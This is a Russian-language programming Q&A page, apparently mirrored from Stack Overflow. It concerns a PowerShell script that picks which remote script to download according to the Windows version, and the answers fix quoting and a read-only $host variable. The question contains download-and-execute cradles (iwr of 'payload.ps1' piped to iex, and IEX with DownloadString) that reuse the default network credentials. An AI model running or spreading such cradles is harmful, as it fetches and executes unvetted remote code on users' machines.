Попытка использовать Get-WmiObject, чтобы решить, какой скрипт вызывать - PullRequest
0 голосов
/ 19 апреля 2019
(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex" 

Получить Wmi Object Win32 Сетевые учетные данные по умолчанию для операционной системы

$host = ((Get-WmiObject Win32_OperatingSystem).Caption)
    if ($host -eq 'Microsoft Windows 7'){

    Write-Host "[+] Downloading windows 7 script"

        $URL = http://example.com
        IEX (New-Object Net.WebClient).DownloadString('$URL')}

elseif ($host -eq 'Microsoft Windows 8'){

        Write-Host "[+] Downloading windows 8 script"

и т. Д. *

Ответы [ 2 ]

0 голосов
/ 20 апреля 2019

Из предоставленного кода в команде IEX добавьте двойные кавычки для окружения, потому что параметр Command Invoke-Expression принимает строку, и добавьте одинарные кавычки для окружения $ URL.

    $URL = "http://example.com"
    IEX "(New-Object Net.WebClient).DownloadString('$URL')"

Кроме того, для запуска Net.WebClient не должно быть необходимости в Invoke-Expression, вы можете упростить, как показано ниже.

     $URL = "http://example.com"
    (New-Object Net.WebClient).DownloadString($URL)
0 голосов
/ 19 апреля 2019

Это происходит, когда $host является автоматической переменной .Сбой назначения в моей системе:

$host = ((Get-WmiObject Win32_OperatingSystem).Caption)
Cannot overwrite variable Host because it is read-only or constant.
At line:1 char:1
+ $host = ((Get-WmiObject Win32_OperatingSystem).Caption)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : WriteError: (Host:String) [], SessionStateUnauthorizedAccessException
    + FullyQualifiedErrorId : VariableNotWritable

Попробуйте использовать другое имя переменной, например $myHost.

...